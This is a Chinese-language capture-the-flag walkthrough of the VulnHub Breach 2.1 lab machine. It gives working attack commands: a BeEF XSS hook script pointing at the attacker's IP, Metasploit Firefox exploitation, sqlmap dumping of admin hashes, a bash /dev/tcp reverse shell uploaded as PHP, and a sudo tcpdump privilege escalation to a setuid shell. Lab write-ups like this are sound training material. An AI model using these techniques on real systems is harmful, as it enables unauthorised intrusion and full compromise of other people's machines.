项目地址
```plain https://download.vulnhub.com/breach/Breach-2_final2.1.zip ```实验过程
根据靶机的描述得知该靶机适用于静态ip,即192.168.110.151
配置虚拟机的虚拟网络编辑器的仅主机模式,将其子网IP配置在110网段,并将攻击机kali和靶机也设置为仅主机模式然后开启靶机虚拟机
![](https://img-blog.csdnimg.cn/img_convert/aea5b4499317dab839f6958661f104e4.png)使用nmap进行主机发现,获取靶机端口
```plain nmap -sV -p- 192.168.110.151 ```根据对比可知Breach 2.1的ip地址为192.168.47.151,开放了111,44630,65535端口
信息收集
发现ssh服务开启,尝试ssh连接ssh 192.168.110.151 -p 65535
得到一个用户名和密码
使用ssh远程连接Peter用户,却发现连接断开
ssh peter@192.168.110.151 -p 65535
重新扫描靶机开放的端口,发现又开放了一个80端口
nmap -sV -p- 192.168.110.151
访问网站
BEEF提示或许可以使用 beef-xss 这个xss工具
使用dirsearch对其目录扫描 发现两个目录 /blog /images
访问/blog目录
访问/images被拒绝
getshell
回到刚才的页面 通过验证注册框存在xss这里需要用到之前提到的工具 beef-xss getshell
在kali上安装该工具
apt install beef-xss
安装完成后 输入beef-xss启动 需要自己设置密码
默认用户名 beef 完成登录
根据提示信息 我们注册框输入的xss语句如下
将127.0.0.1改成kali的ip地址
<script src="http://192.168.110.128:3000/hook.js"></script>
111
111
提交成功之后访问http://192.168.110.151/blog/members.html 即可触发漏洞
访问:http://192.168.110.128:3000/ui/panel,可以看到Kali和靶机都已上线
可以看到该网站的火狐版本很低 Firefox/15.0 可以利用利用版本漏洞
选择利用msf getshell
msfconsole
search firefox 15
use 12
show options
set uripath 123456(beef-xss设置密码)
set lhost 192.168.110.128
run
给出一个url
将给出中的url在浏览器中设置重定向访问
可以在msf中看到会话已经建立 ,速度较慢,需等待一些时间
因为通过 firefox_proto_crmfrequest 得到的shell不稳定,因此我们需要shell持久化
search post shell to meterpreter
use post/multi/manage/shell_to_meterpreter
options
set lhost 192.168.110.128
这时要再次点击 Execute按钮
根据新建立的 session Id 来设置 shell_to_meterpreter 的 options 中 session值
一旦建立session 立刻输入run 执行命令
输入sessions检查是否成功 直到看到meterpreter的session建立
获取shell
sessions -i 6
shell
whoami
cat /etc/passwd 发现了两个用户 milton blumbergh
sudo -l 将两个用户更新至user.list
milton用户提权
因为之前Peter用户无法ssh连接,查看相关配置ls .ssh -al
ls /etc | grep ssh
ls /etc/ssh -al
sshd_config是客户端的ssh配置文件,在文件末尾发现,ssh连接过程会强制执行名为startme的程序,推测其与ssh无法成功连接有关
查看startme内容,其内容是启动了apache服务
覆盖 .bashrc 文件后,可以在ssh连接后可以保持shell
echo ‘exec /bin/bash’ > .bashrc
查看网站目录 看到html2目录
在其目录中存在 oscommerec
html2可能是一个新的web站点
查看靶机的网络信息
netstat -anlpt
发现一个2323端口
尝试使用telnet连接 显示了连接过程中的全部信息
telnet 127.0.0.1 2323
用google查询 发现这个地点位于Houston,作为密码输入
用户名的话也就是之前/etc/passwd文件中的用户名
经尝试用户名为 milton
我们需要回答一个问题:这个订书机是谁的
我们需要在目录下寻找关键词stapler
cd /usr
grep -rno stapler
发现一个 cd.py 文件 查看其内容
答案是mine
再次使用telnet连接2323端口
登录成功 实现milton用户提权
blumbergh用户提权
再次查看网络信息,出现了8888端口尝试访问,点击oscommerce
对其目录扫描 发现了一个登录页面
在配置文件中发现,mysql数据库的root用户并没有设置密码
使用sqlmap进行读取数据
sqlmap -u http://192.168.110.151/blog/index.php?search=1 --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 --dbs --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce --tables --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce -T osc_administrators --columns --batch
sqlmap -u http://192.168.110.151/blog/index.php?search=1 -D oscommerce -T osc_administrators -C user_name,user_password --dump --batch
得到管理员密码的哈希值
解密MD5免费在线解密破解_MD5在线加密-SOMD5
使用 admin:32admin 登录失败
使用 admin:admin 登录成功
四处翻翻发现一个上传文件的位置
上传文件
在 include目录下面找到了一个可写的目录
上传反弹shell 1.php文件
bash -i >& /dev/tcp/192.168.110.128/7272 0>&1
上传成功后访问http://192.168.110.151:8888/oscommerce/includes/work/1.php
kali开启监听
nc -lvvp 7272
sudo -l
可以使用tcpdump提权
辅助网站查看命令GTFOBins
cd /tmp
echo '#!/bin/bash' >> 1.sh
echo 'cp /bin/bash /tmp/shell' >> 1.sh
echo 'chmod +s /tmp/shell' >> 1.sh
chmod +x 1.sh
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/1.sh -Z root
cpdump 相关命令中包含lo参数,因此需要在 milton 用户终端中构造本地流量
telnet 127.0.0.1 2323
在 blumbergh 用户终端中提权
./shell -p
提权成功
好小子,离成功又近一步!!!